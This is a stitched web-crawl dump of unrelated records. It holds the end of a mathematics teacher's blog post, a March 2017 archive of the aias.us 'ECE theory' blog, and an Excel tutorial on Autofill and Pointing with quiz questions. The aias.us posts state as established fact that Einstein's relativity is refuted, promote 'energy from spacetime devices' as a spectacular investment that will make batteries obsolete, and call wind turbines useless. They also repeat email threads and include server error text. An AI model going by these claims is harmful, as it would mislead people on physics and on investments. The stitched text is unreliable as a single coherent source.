classrooms.\n\nNot every tension needs to be handled this way, but examples of dialectical pairings abound: precision and approximation, confidence and confusion, individual and community. I encourage us all to consider times when it can be productive not to resolve such conflicts but instead to foster a breadth of understanding from them.\n\nFriday, August 10, 2018\n\nsummer activities\n\nThis summer I had a fair amount of travel and conference/workshop activities. I’ve also been working on several projects that need finishing, and of course I have an eight-month old daughter. So I haven’t been blogging, even though several ideas for posts have been kicking around in my head. In order to get something posted, here’s a summary of some major events of the summer.\n\nIn May I taught a four-week session of “Transition to Abstract Mathematics”, our introduction-to-proofs course. I had seven students who worked very hard throughout the session. I was pleased that we were able to reach a point where the students could present results they selected from Proofs from THE BOOK during the final exam period.\n\nIn June I attended a program on “Teichmüller dynamics, mapping class groups and applications” at the Institut Fourier in Grenoble. (If any of those topics are of interest to you, videos of all the talks are available on YouTube.) I did not give a lecture, but I had a chance to talk with several people about work I did last summer with a Pepperdine student on the topic of “homothety” or “dilation” surfaces. Got a couple of more projects started during this time, to mix into the three or four I was already working on. ¯\\_(ツ)_/¯ It was also my first time visiting that part of France, so I traveled with family around the region. A couple of touristic highlights: tasting Chartreuse at the distillery in Voiron, and exploring the Citadel in Sisteron.\n\nIn July I participated in an IBL workshop run by the Academy of Inquiry-Based Learning. Four days with 25 enthusiastic teacher-learners and six fantastic facilitators. I started a set of IBL notes to use in the course on complex variables I’m teaching next spring and garnered several new tools and ideas for increasing student activity and engagement in the classroom.\n\nLast weekend I joined the mastery grading session at MathFest. Tons more ideas here! It’s great to be part of so many communities of people who are generating and sharing ideas big and small.\n\nI’ve promised to write at least one more blog post in the next week, for Sam Shah’s Virtual Conference on Mathematical Flavors. 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http://aias.us/blog/index3df6.html?m=201703	[ "## Archive for March, 2017\n\n### My Civil List Predecessor Rowan Hamilton\n\nFriday, March 31st, 2017\n\nSir William Rowan Hamilton is known as Rowan Hamilton in Trinity College Dublin, of which I am sometime Visiting Academic. He was appointed to the Civil List on April 27th 1844 with a pension of £200 a year (about £22,319 a year today). My Civil List Pension is £2,400 a year, so it has been eroded a lot in value since 1844. It is now an honorarium rather than a salary to live on. The Civil List Pension is akin to Order of Merit. Hamilton was appointed Professor of Astronomy in Dublin at the age of twenty two and was considered to be one of the best mathematicians in the world at the age of 18. His papers “On a General Method of Dynamics” (1834 and 1835) gave the Hamilton Principle of Least Action and also what are known now as the Euler Lagrange equations. These were actually discovered by Hamilton using the Euler principle of 1744 and using some of Lagrange’s ideas of 1760. He also inferred the Hamilton or canonical equations, defined the lagrangian and inferred the hamiltonian, the basis of quantum mechanics. In UFT176, (www.aias.us and www.upitec.org) the Quantum Hamilton Equations are inferred, in what has become a classic paper. The Hamilton Principle of Least Action can be used in many branches of physics and mathematics.\n\n### Computations of 374(2) and 374(3): Precession Confirmed\n\nFriday, March 31st, 2017\n\nThis is an important remark, precession is still present. These will be very interesting as usual, there are many possible advances that can be made by using the equations of fluid dynamics in orbital theory: the continuity equation (conservation of matter); Navier Stokes equation; conservation of energy equation and vorticity equation. All of these add new equations to the set of simultaneous differential equations. I will write new notes on this theme.\n\nTo: [email protected]\nSent: 31/03/2017 08:35:03 GMT Daylight Time\nSubj: Re: Discussion of 374(2)\n\nMany thanks for these clarifications, I fully agree that fluid dynamic effects must be handled like a potential (i.e. as given properties) for the Lagrange mechanism. Using the correct momentum (28) will not give qualitative changes in the numerical solution because I used a constant spin connection, only the numbers will change.\nEqs. 43-44 c an be solved for any assumed radial function R_r(r). Eq. 45 does not enter the calculation, it would be interesting to see if the angular momentum is really conserved for non-constant functions R_r.\n\nHorst\n\nAm 29.03.2017 um 10:42 schrieb EMyrone:\n\nThese are interesting comments. This note is based entirely on standard equations of the Lagrange and Hamilton dynamics applied to vectors, notably Eq. (3), which gives the correct momentum p from the Lagrangian (2), these are all contained in Marion and Thornton. The vector Euler Lagrange equation is Eq. (11), and leads correctly to the well known equations (20) and (21), the Leibniz equation and the equation of constraint (21). The kinetic energy is p dot p / (2m). The primary purpose of the note is to show that the correct momentum must be defined by p bold = partial lagrangian / partial r dot bold (see for example Marion and Thornton). Eqs. (22) – (24) work correctly for classical dynamics, but no longer work correctly for fluid dynamics. The correct momentum of fluid dynamics must be calculated from eq. (3) using the lagrangian (35). The correct momentum is p bold = m v bold, where v bold is given by Eq. (26). This is the same as the momentum used in UFT363, and leads to Eqs. (33) and (34). The spin connection partial R sub r / partial r must be regarded in the same way as the potential energy U(r). Neither is a Lagrange variable. The key point is that the momentum p bold can be obtained correctly from the lagrangian (2) if and only if Eq. (3) is used. This is checked from the fact that p bold is r bold dot in Eq.(2). Then use the rules of differentiation with r dot bold. For classical dynamics, Eqns (22) to (24) happen to work fortuitously, and these are of course the equations used by Marion and Thornton in their chapter seven. However, for fluid dynamics they no longer work, because the complete momentum is now:\n\np bold = x r dot e sub r bold + r theta dot e sub theta bold\n\nwhere\nx = (1 + partial R sub r / partial r)\n\nUsing this in Eqs. (2) and (3) gives the correct momentum from the correct lagrangian, containing the correct kinetic energy. The correct momentum is Eq. (28) multiplied by m. When used in Eq. (29) it leads to to Eqs. (33) and (34). Eq. (33) is different from that found in UFT363, because in UFT363, the correct factor x in Eq. (33) turned out to be x squared, as in Eq. (39) of this note. Therefore the lagrangian (35) cannot be used with Eq. (38). This result is by no means obvious. It shows that there is a certain amount of subjectivity in the Lagrange method as is well known. It is by no means obvious how to choose the Lagrange variables, and the choice of lagrangian is also subjective to some degree. These things emerge in for example quantum field theory. Fortunately the answer is simple, use Eq. (13), in which there is only one Lagrange variable, vector r bold. This leads to Eqs. (33) and (34). I suggest putting Eqs. (43) to (45) through Maxima to see how the orbital precession behaves. I do not think that the replacement of x sqaured of UFT363 by the correct x of this note will make any qualitative difference to the precession that you have already inferred numerically. It might affect the details of the precession, but the precession will remain.\n\nTo: EMyrone\nSent: 28/03/2017 14:40:47 GMT Daylight Time\nSubj: Re: 374(2): Complete Analysis of UFT363\n\nIt is difficult for me to understand this note for principal reasons. My interpretation is the following:\n\nThe Lagrangian method is based on the kinetic energy and generalized coordinates. The Euler-Lagrange equations are based on the kinetic energy of the generalized coordinates. These coordinates are found by coordinate transformations. In our case the radial coordinate is transformed by\n\nr –> r + R_r(r)\n\nwhere R_r(r) is a “distortion” of radial motion of a particle inferred by fluid dynamics. For the Lagrange mechanism this function has to be known a priori, it cannot result from the Euler-Lagrange equations. If we assume that the R_r function is to be determined dynamically by the dynamics, we need an additional equation of motion or state or whatever. In Lagrange theory, energy conservation is fulfilled. This is not necessarily the case if a “free floating” function is introduced. I guess that you had this in mind when saying that a Hamiltonian formulation is needed in addition to the Lagrangian formulation to determined the dynamics consistently.\n\nSo the question is where to take the conditions for R_r that must appear as a constraint in the Lagrange mechanism. The generalized coordinates should be r and theta, but what is the kinetic energy? Let’s assmume that the velocity, eqs.(26,27) of the note, is that derived from the coordinate transformation. Then the Euler-Lagrange equations (33,34) are correct, although they contain an unspecified function R_r (which is not time dependent).\n\nI do not understand the part of the note after eqs.(33,34). Why do you introduce the Lagrangian (35)? Obviously this belongs to a different problem to be solved. And why should it be re-expressed to (36)? The momentum in Lagrange theory is a generalized momentum and needs not have the form (37).\n\nOn page 6 of the manuscript I cannot decipher the sentence “It is not possible to choose … as Lagrange varibles”. Which variables do you mean?\nEqs. (44) and (45) are derived from the same Euler-Lagrange equation and are not independent. It is true that (45) is a constant of motion but this is not suited for solving the equations because it is only of first order. What about using\n\nH = 1/2 m v^2 + U(r) = const.\n\ninstead? Then we can determine partial R_r/partial r , and replace it in (43,44) so that we have only derivatives of time and the equation system could be solved by Maxima for example. In general, combination of Lagrange theory (which is for mass points primarily) and fluid dynamics (which is for distributed fields) may be a bit tricky.\n\nSorry for having written such a long sermon today.\nHorst\n\nAm 28.03.2017 um 10:44 schrieb EMyrone:\n\nThis note shows that the complete Lagrangian and Hamiltonian formulations are needed to describe fluid dynamics self consistently. When this is done UFT363 is slighly corrected to Eqs. (43) to (45), which can be solved simultaneously using Maxima to give the orbit and spin connection.\n\n### Bosch Corporation Studying Energy from Spacetime Devices\n\nFriday, March 31st, 2017\n\nThis interest can be seen on the daily reports for today and yesterday. These can be based on the replicated and patented Osami Ide circuit (UFT311, UFT321 UFT364, Self Charging Inverter), which will bring in the second industrial revolution described by AIAS Fellow Dr. Steve Bannister in his Ph. D. Thesis on www.aias.us (Department of Economics, University of Utah). See also www.et3m.net and www.upitec.org. The Alex Hill company has recently signed a joint venture agreement with a company in the United States. I think that investment managers should be interested in this new industry. It should return a spectacular amount on investment. ECE theory describes the Osamu Ide circuit with precision (UFT311), whereas the obsolete standard model fails completely. See also the pulsed LENR report by AIAS Director Douglas Lindstrom on www.aias.us and his Idaho lecture. He is currently on a business trip to China, where there has been intense interest in ECE theory for some years. There are potentially huge new markets for spacetime devices all over the world. They could be used to power domestic appliances of the type manufactured by Bosch. They could also be made into power stations, large power plants, power devices for electric vehicles, power plants for ships and also aircraft and spacecraft, and should make the chemical battery industry obsolete. That is why Prof. Bannister describes them as powering the second industrial revolution. Wind turbines are already obsolete as well as completely useless. Governments should implement energy from spacetime devices as quickly as they can. They can also be distributed to the starving poor of many countries.\n\n### Daily Report 29/3/17\n\nFriday, March 31st, 2017\n\nThe equivalent of 81,576 printed pages was downloaded (297.426 megabytes) from 2,239 downloaded memory files and 406 distinct visits each averaging 3.9 memory pages and 6 minutes, printed pages to hits ratio of 36.43, to referrals total of 2,223,687, main spiders Google, MSN and Yahoo. Collected ECE2 1686, Top ten 1484, Collected Evans / Morris 957(est), F3(Sp) 630, Collected scientometrics 542, Principles of ECE 398, Barddoniaeth 232, Evans Equations 194, Collected Eckardt / Lindstrom papers 151(est), Autobiography volumes one and two 125, Collected Proofs 104, UFT88 89, Self charging inverter 84, Engineering Model 78, UFT311 76, Mann Johnson ECE 73, PLENR 59, ECE2 59, CEFE 54, Llais 44, Idaho 29, UFT321 22, UFT313 29, UFT314 19, UFT315 22, UFT316 17, UFT317 19, UFT318 13, UFT319 22, UFT320 16, UFT322 35, UFT323 20, UFT324 25, UFT325 32, UFT326 16, UFT327 21, UFT328 23, UFT329 20, UFT330 15, UFT331 20, UFT332 19, UFT333 16, UFT334 14, UFT335 36, UFT336 15, UFT337 14, UFT338 17, UFT339 16, UFT340 15, UFT341 31, UFT342 26, UFT343 31, UFT344 30, UFT345 27, UFT346 24, UFT347 46, UFT348 27, UFT349 25, UFT351 41, UFT352 52, UFT353 35, UFT354 63, UFT355 39, UFT356 42, UFT357 37, UFT358 38, UFT359 39, UFT360 31, UFT361 13, UFT362 25, UFT363 40, UFT364 36, UFT365 22, UFT366 59, UFT367 35, UFT368 35, UFT369 44, UFT370 48, UFT371 59, UFT372 31, UFT373 9 to date in March 2017. University of Adelaide Proof One; University of Oriente Santiago de Cuba UFT169(Sp); Bosch Company Germany Spacetime Devices; Deusu search engine Home Page; University of Baguio Philippines (on edu) general; Marine Hydrographic and Oceanographic Service France UFT351, UFT353, UFT357, UFT358; The Campaign for the Protection of Rural Wales Home Page; National Electrification authority Philippines general. Intense interest all sectors, updated usage file attached for March 2017.\n\n# Unauthorized\n\nThis server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn’t understand how to supply the credentials required.\n\nAdditionally, a 401 Unauthorized error was encountered while trying to use an ErrorDocument to handle the request.\n\n### 374(3): Equations for the Precessing Orbit of Fluid Gravitation\n\nThursday, March 30th, 2017\n\nIn the first instance, Eqs. (27) to (29) can be solved numerically using Maxima to check that the method gives the correct orbit (18). Then the algorithm can be modified to solve Eqs. (37), (38) and (40 numerically using a model for the function x defined in Eq. (31). Finally Eq. (44) can be added if the fluid is assumed to be incompressible, so both the orbit and x can be found. The caveat of this note explains why the note slightly corrects the equations of UFT363. The lagrangian method of UFT363 gives Eq. (47), which is different from the correct Eq. (37). The reason is that the kinetic energy of fluid gravitation, Eq. (48), is not in the required format (49) demanded by the Hamilton Principle of Least Action. The kinetic energy must be T(r bold dot, r bold). Sometimes it is simpler and clearer to derive results without the Lagrange method using both the Lagrange and Hamilton equations of motion.\n\na374thpapernotes3.pdf\n\n### Basics of the Lagrangian Method\n\nThursday, March 30th, 2017\n\nThe fundamental reason for the last note is that the Hamilton Principle of Least Action, from which is follows that the lagrangian must be defined as T(r bold dot) – U(r bold). I will explain this in another note to be distributed shortly. This method holds for any r bold dot. The method used in UFT363 did not satisfy the fundamental criterion for a lagrangian, which is why it did not lead to the correct momentum. The new method of UFT374 corrects this and leads to soluble sets of simultaneous partial differential equations. The new advance is that these can be tied in with the equations of hydrodynamics in many interesting ways. for background reading I suggest Marion and Thornton chapter five. So UFT374 will develop in this way. I recommend Marion and Thornton as far as it goes. It is now known that its section on the Einstein theory is wildly wrong. This was again shown by Horst’s numerical methods combined with analytical methods. Marion and Thornton is not easy, but is recommended reading. I remember doing lagrangian theory in the second year mathematics course at UCW Aberystwyth. It i snot easy, but sometimes useful. I have used it many times throughput my research career. Sometimes it is better to use other methods. The method of UFT374 uses all the available dynamics, Lagrangian and Hamiltonian. UFT176 on the discovery of the quantum Hamilton equations, is now a famous paper, a classic by any standards. There is a hugely successful combination of analytical and numerical techniques in each UFT paper, mainly by Horst Eckardt, Douglas Lindstrom and myself, and many contributions by other Fellows.\n\n### UFT88 read at Pierre et Marie Curie Astrophysics Institute\n\nThursday, March 30th, 2017\n\nUniversite Pierre et Marie Curie (Paris 6) is the best university in France at present. It is ranked 39 in the world by Shanghai, 121 by Times, 141 by QS and 175 by webometrics. It has 32,000 students on the Jussieu Campus of the Latin Quarter of Paris. The University of Paris is the second oldest on mainland Europe after Bologna founded in the second half of the twelfth century by Robert de Sorbon. The oldest university in Europe was Bangor Tewdos, founded in the fourth or fifth centuries, but completely destroyed by raiders. The Astrophysics Institute is situated next to the famous Paris Observatory and was founded in 1936, opening in 1952. UPMC is affiliated with the Sorbonne and CNRS. It includes the Institute Henri Poincare, where Jean-Pierre Vigier , co author of “The Enigmatic Photon”, Omnia Opera of www.aias.us) was a professor for many years, starting as an assistant to the Nobel Laureate Louis de Broglie. Vigier immediately accepted B(3) and probably nominated it for a Nobel Prize, or used his influence to have it recognized and nominated. UPMC has produced several famous Nobel Laureates, including Pierre Curie, Marie Curie (two Nobel Prizes), Henri Bequerel, Louis de Broglie, Frederic Joliot, Irene Joliot-Curie and Pierre Gilles de Gennes, whom I heard lecture on liquid crystals at Aberystwyth during a conference I helped organize. In the student risings of 1968 to 1970 there were prolonged clashes between the students and the police. The students occupied the Sorbonne and declared it an autonomous People’s Republic. This occurred when I was an undergraduate at Aberystwyth (1968 to 1971) as described in Autobiography Volume Two. The radical atmosphere of the Parisian student Rising pervaded the campus at Aberystwyth and also all the Campi in the United States after the Kent State shootings. UFT88 is a famous classic paper by now, it was published in 2007 and corrects the second Bianchi identity for torsion, leading to the complete geometrical refutation of the Einstein relativity and another revolution, the post Einsteinian paradigm shift in natural philosophy. So www.aias.us and www.upitec.org are read continuously at all the best universities in the world. The authorities of the old Ministry of Truth in physics try not to notice.\n\n### Daily Report 28/3/17\n\nThursday, March 30th, 2017\n\nThe equivalent of 93,405 printed pages was downloaded (340.556 megabytes) from 2,108 downloaded memory files (hits) and 424 distinct visits each averaging 4.4 memory pages and 6 minutes, printed pages to hits ratio of 44.31, top referrals total 2,223,504, main spiders Google, MSN and Yahoo. Collected ECE2 1606, Top ten 1546, Collected Evans / Morris 924(est), F3(Sp) 622, Collected scientometrics 520, Principles of ECE 394, Barddoniaeth 230, Evans Equations 191, Collected Eckardt / Lindstrom 151, Autobiography volumes one and two 124, Collected Proofs 98, UFT88 89, Self charging inverter 78, Engineering Model 77, Mann Johnson ECE 72, PLENR 58, ECE2 57, CEFE 51, Llais 43, UFT311 39, UFT321 21, UFT313 29, UFT314 16, UFT315 19, UFT316 15, UFT317 19, UFT318 12, UFT319 20, UFT320 15, UFT322 33, UFT323 19, UFT324 25, UFT325 32, UFT326 14, UFT327 21, UFT328 20, UFT329 19, UFT330 15, UFT331 20, UFT332 17, UFT333 16, UFT334 13, UFT335 32, UFT336 13, UFT337 14, UFT338 17, UFT339 14, UFT340 15, UFT341 31, UFT342 24, UFT343 28, UFT344 28, UFT345 25, UFT346 22, UFT347 43, UFT348 26, UFT349 23, UFT351 39, UFT352 50, UFT353 32, UFT354 61, UFT355 37, UFT356 40, UFT357 35, UFT358 35, UFT359 37, UFT360 30, UFT361 12, UFT362 25, UFT363 40, UFT364 33, UFT365 21, UFT366 57, UFT367 35, UFT368 33, UFT369 44, UFT370 48, UFT371 59, UFT372 31, UFT373 8 to date in March 2017. University of Adelaide UFT142; University of Quebec Trois Rivieres UFT366 – UFT373; Bosch Company Germany ECE Devices; Steinbuch Centre for Computing Karlsruhe Institute for Technology Home page, Three World records by MWE, Nomination, B. Sc. Degree Ceremony; Stanford University general; Institut d’Astrophysique de Paris (Astrohysics Institute of Paris, Joint research centre of Pierre and Marie Curie University and the National Centre for Scientific Research (CNRS)) UFT88; French National Hydrographic Service (SHOM) UFT349, UFT370, ECE2 preprint; Campaign fro the Protection of Rural Wales home page; Pakistan Education and Research Network general; University of Warwick Newspaper cuttings. Intense interest all sectors, updated usage file attached for March 2017.\n\n# Unauthorized\n\nThis server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn’t understand how to supply the credentials required.\n\nAdditionally, a 401 Unauthorized error was encountered while trying to use an ErrorDocument to handle the request.\n\n### Discussion of 374(2)\n\nWednesday, March 29th, 2017\n\nThese are interesting comments. This note is based entirely on standard equations of the Lagrange and Hamilton dynamics applied to vectors, notably Eq. (3), which gives the correct momentum p from the Lagrangian (2), these are all contained in Marion and Thornton. The vector Euler Lagrange equation is Eq. (11), and leads correctly to the well known equations (20) and (21), the Leibniz equation and the equation of constraint (21). The kinetic energy is p dot p / (2m). The primary purpose of the note is to show that the correct momentum must be defined by p bold = partial lagrangian / partial r dot bold (see for example Marion and Thornton). Eqs. (22) – (24) work correctly for classical dynamics, but no longer work correctly for fluid dynamics. The correct momentum of fluid dynamics must be calculated from eq. (3) using the lagrangian (35). The correct momentum is p bold = m v bold, where v bold is given by Eq. (26). This is the same as the momentum used in UFT363, and leads to Eqs. (33) and (34). The spin connection partial R sub r / partial r must be regarded in the same way as the potential energy U(r). Neither is a Lagrange variable. The key point is that the momentum p bold can be obtained correctly from the lagrangian (2) if and only if Eq. (3) is used. This is checked from the fact that p bold is r bold dot in Eq.(2). Then use the rules of differentiation with r dot bold. For classical dynamics, Eqns (22) to (24) happen to work fortuitously, and these are of course the equations used by Marion and Thornton in their chapter seven. However, for fluid dynamics they no longer work, because the complete momentum is now:\n\np bold = x r dot e sub r bold + r theta dot e sub theta bold\n\nwhere\nx = (1 + partial R sub r / partial r)\n\nUsing this in Eqs. (2) and (3) gives the correct momentum from the correct lagrangian, containing the correct kinetic energy. The correct momentum is Eq. (28) multiplied by m. When used in Eq. (29) it leads to to Eqs. (33) and (34). Eq. (33) is different from that found in UFT363, because in UFT363, the correct factor x in Eq. (33) turned out to be x squared, as in Eq. (39) of this note. Therefore the lagrangian (35) cannot be used with Eq. (38). This result is by no means obvious. It shows that there is a certain amount of subjectivity in the Lagrange method as is well known. It is by no means obvious how to choose the Lagrange variables, and the choice of lagrangian is also subjective to some degree. These things emerge in for example quantum field theory. Fortunately the answer is simple, use Eq. (13), in which there is only one Lagrange variable, vector r bold. This leads to Eqs. (33) and (34). I suggest putting Eqs. (43) to (45) through Maxima to see how the orbital precession behaves. I do not think that the replacement of x sqaured of UFT363 by the correct x of this note will make any qualitative difference to the precession that you have already inferred numerically. It might affect the details of the precession, but the precession will remain.\n\nTo: [email protected]\nSent: 28/03/2017 14:40:47 GMT Daylight Time\nSubj: Re: 374(2): Complete Analysis of UFT363\n\nIt is difficult for me to understand this note for principal reasons. My interpretation is the following:\n\nThe Lagrangian method is based on the kinetic energy and generalized coordinates. The Euler-Lagrange equations are based on the kinetic energy of the generalized coordinates. These coordinates are found by coordinate transformations. In our case the radial coordinate is transformed by\n\nr –> r + R_r(r)\n\nwhere R_r(r) is a “distortion” of radial motion of a particle inferred by fluid dynamics. For the Lagrange mechanism this function has to be known a priori, it cannot result from the Euler-Lagrange equations. If we assume that the R_r function is to be determined dynamically by the dynamics, we need an additional equation of motion or state or whatever. In Lagrange theory, energy conservation is fulfilled. This is not necessarily the case if a “free floating” function is introduced. I guess that you had this in mind when saying that a Hamiltonian formulation is needed in addition to the Lagrangian formulation to determined the dynamics consistently.\n\nSo the question is where to take the conditions for R_r that must appear as a constraint in the Lagrange mechanism. The generalized coordinates should be r and theta, but what is the kinetic energy? Let’s assmume that the velocity, eqs.(26,27) of the note, is that derived from the coordinate transformation. Then the Euler-Lagrange equations (33,34) are correct, although they contain an unspecified function R_r (which is not time dependent).\n\nI do not understand the part of the note after eqs.(33,34). Why do you introduce the Lagrangian (35)? Obviously this belongs to a different problem to be solved. And why should it be re-expressed to (36)? The momentum in Lagrange theory is a generalized momentum and needs not have the form (37).\n\nOn page 6 of the manuscript I cannot decipher the sentence “It is not possible to choose … as Lagrange varibles”. Which variables do you mean?\nEqs. (44) and (45) are derived from the same Euler-Lagrange equation and are not independent. It is true that (45) is a constant of motion but this is not suited for solving the equations because it is only of first order. What about using\n\nH = 1/2 m v^2 + U(r) = const.\n\ninstead? Then we can determine partial R_r/partial r , and replace it in (43,44) so that we have only derivatives of time and the equation system could be solved by Maxima for example. In general, combination of Lagrange theory (which is for mass points primarily) and fluid dynamics (which is for distributed fields) may be a bit tricky.\n\nSorry for having written such a long sermon today.\nHorst\n\nAm 28.03.2017 um 10:44 schrieb EMyrone:\n\nThis note shows that the complete Lagrangian and Hamiltonian formulations are needed to describe fluid dynamics self consistently. When this is done UFT363 is slighly corrected to Eqs. (43) to (45), which can be solved simultaneously using Maxima to give the orbit and spin connection.\n\n### Chapter 5 of ECE2 and UFT373 in Spanish\n\nWednesday, March 29th, 2017\n\nMany thanks again!\n\nIn a message dated 28/03/2017 21:16:10 GMT Daylight Time, [email protected] writes:\n\nDone today\n\nDave\n\nOn 3/26/2017 12:36 PM, Alex Hill (ET3M) wrote:\n\nHello Dave,\n\nPlease find enclosed the Spanish version of Chapter 5 of the ECE2 book in pdf file, which I hope you can attach to the existing ECE2 Ch 1 to 4 pdf file in Spanish, since all five chapters are too heavy a file to mail by Yahoo.\n\nI am also enclosing the recent UFT373 file in Spanish, for posting.\n\nThanks.\n\nRegards," ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.91126555,"math_prob":0.8879156,"size":26950,"snap":"2023-14-2023-23","text_gpt3_token_len":6795,"char_repetition_ratio":0.13133675,"word_repetition_ratio":0.50653666,"special_character_ratio":0.26482373,"punctuation_ratio":0.13531724,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9641215,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-06-07T23:01:08Z\",\"WARC-Record-ID\":\"<urn:uuid:10683f49-0e45-42b3-8ba8-334ca2891a20>\",\"Content-Length\":\"58639\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f456fc8f-381b-4874-ae56-13d79c53ef1b>\",\"WARC-Concurrent-To\":\"<urn:uuid:ab8188d3-a64b-478f-aedc-4a5dd50bfa41>\",\"WARC-IP-Address\":\"67.231.254.154\",\"WARC-Target-URI\":\"http://aias.us/blog/index3df6.html?m=201703\",\"WARC-Payload-Digest\":\"sha1:PP2D32MFUWNSOUJ2DMUUWDDKTJYGSQ2W\",\"WARC-Block-Digest\":\"sha1:JFLBEIVOCHSZ4S7HVDQZ2KPUSFRF26AE\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224654016.91_warc_CC-MAIN-20230607211505-20230608001505-00337.warc.gz\"}"}
http://academic.pgcc.edu/~bspear/IntroMsOffice/AUTOptn/excel3/lesson3.htm	[ "### Programs: Microsoft Excel Chapter 3", null, ": Lesson 3", null, "Lesson #3: In this lesson you will learn how use Autofill and how to use the Pointing function.\n\nMain Objectives:\n• Autofill (Fill Handle)\n• Pointing\nAutofill and Pointing\nObjective # 1 Autofill", null, "Purpose nTo copy a cell or range of cells to an adjacent cell or range of cells To Use n-Select which cell you would like to copy. n-Point to the black square on the lower-right corner of the cell until the mouse changes shape. nDrag the mouse to the desired range you would like to copy the cells to. nA boarder should now appear around the area you would like to be copied. nThe process is now done once you unclick the mouse\nObjective # 2 Pointing", null, "Purpose: nTo make it easier not to make a mistake when typing a formula into a cell To use: nClick the cell in which you want to put the formula in. nType an equal sign (=). The status bar should now say ‘enter mode.’ You can now continue to type the rest of the formula. n nPoint to the cell in which you want to reference the formula. A border should appear around the cell and in the status bar, the words ‘point mode’ should appear. nNow you can continue to type in arithmetic operators to place the references in the formula.\n\nAfter completing the DEMO PROBLEM you will have enough visual basis and knowledge to work alone with excel in similar situation.\n\nExercises\n\n1. Excel is able to make a series of numbers and certain words\n\nTrue False\n\n2. Arguments are when the computer is asked to do two things at once and it can’t decide which function to do\n\nTrue False\n\n3. We use pointing so we make less mistakes\n\nTrue False\n\n4. When using the fill handle we use the lower left corner to drag\n\nTrue False\n\n5. You are in pointing mode when a moving box appears around the cell/s you selected\n\nTrue False\n\n`1.The fill handle is the quickest way to copy a cell to where? `\n` a) The cells in A1`\n` b) The cells that are adjacent to the cell your working with`\n` c) The cells on a different excel document `\n` d) No cells are copied using the fill handle`\n\n`2.What is the first mode you should be in when you are pointing?`\n` a) Point mode`\n` b) Edit mode`\n` c) Enter mode`\n``` d) Ready mode\n```\n\n`3.What button do you push in the tool bar to access the Paste Function?`\n` a) Autosum (Sigma sign)`\n` b) Paste (clip board with little paper)`\n` c) Copy (two pieces of paper)`\n``` d) Insert Function (fx)\n```\n\n`4.What is the best way to average values in cells B1-B4?`\n` a) =B1+B2+B3+B4`\n` b) =Average(B1, B4)`\n` c) Neither a or b`\n``` d) both a and b are great ways to find the average\n```\n\n`5.5.Cells A1, A2 and A3 have the numbers 7, 10 and 1 respectively. If in A4 the function typed is =`\n`\tSum(A1: A3), then what will be the number that appears after you hit the `\n`\tenter key after the function?`\n` a) 3`\n` b) 18 `\n` c) 10`\n` d) 16`\n\n`6.6.When using the fill handle, what corner do you use to pull down to the range you would like?`\n` a) lower right`\n` b) lower left`\n` c) upper right`\n` d) upper left`\n\n[FrontPage Save Results Component]", null, "back to lesson #2\n\ncontinue to lesson #4", null, "", null, "Back to Lessons", null, "" ]	[ null, "http://academic.pgcc.edu/~bspear/IntroMsOffice/AUTOptn/excel3/r.gif", null, "http://academic.pgcc.edu/~bspear/IntroMsOffice/AUTOptn/excel3/excel.gif", null, "http://academic.pgcc.edu/~bspear/IntroMsOffice/AUTOptn/excel3/lesson6.jpg", null, "http://academic.pgcc.edu/~bspear/IntroMsOffice/AUTOptn/excel3/lesson7.jpg", null, "http://academic.pgcc.edu/~bspear/IntroMsOffice/AUTOptn/excel3/back.gif", null, "http://academic.pgcc.edu/~bspear/IntroMsOffice/AUTOptn/excel3/next.gif", null, "http://academic.pgcc.edu/~bspear/IntroMsOffice/AUTOptn/excel3/back.gif", null, "http://academic.pgcc.edu/~bspear/IntroMsOffice/AUTOptn/excel3/next.gif", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.7544894,"math_prob":0.6904983,"size":1443,"snap":"2019-13-2019-22","text_gpt3_token_len":431,"char_repetition_ratio":0.108408615,"word_repetition_ratio":0.0,"special_character_ratio":0.27165627,"punctuation_ratio":0.0743034,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9601897,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16],"im_url_duplicate_count":[null,2,null,2,null,1,null,1,null,4,null,4,null,4,null,4,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-03-19T23:33:07Z\",\"WARC-Record-ID\":\"<urn:uuid:d9b7c1d4-ffb0-429d-9a1f-d9b97fc735c0>\",\"Content-Length\":\"31531\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:69ae88cb-8793-45c9-87c5-53cafdbbedf6>\",\"WARC-Concurrent-To\":\"<urn:uuid:916dd569-9c10-4016-8de7-debf63a3193b>\",\"WARC-IP-Address\":\"131.118.229.53\",\"WARC-Target-URI\":\"http://academic.pgcc.edu/~bspear/IntroMsOffice/AUTOptn/excel3/lesson3.htm\",\"WARC-Payload-Digest\":\"sha1:6WJVHCDHVI56NSUGUQMGE6NTNJ35BESV\",\"WARC-Block-Digest\":\"sha1:YDGP5GE3HKBZK4I7SN6F26WX5QFICMWD\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-13/CC-MAIN-2019-13_segments_1552912202161.73_warc_CC-MAIN-20190319224005-20190320010005-00260.warc.gz\"}"}
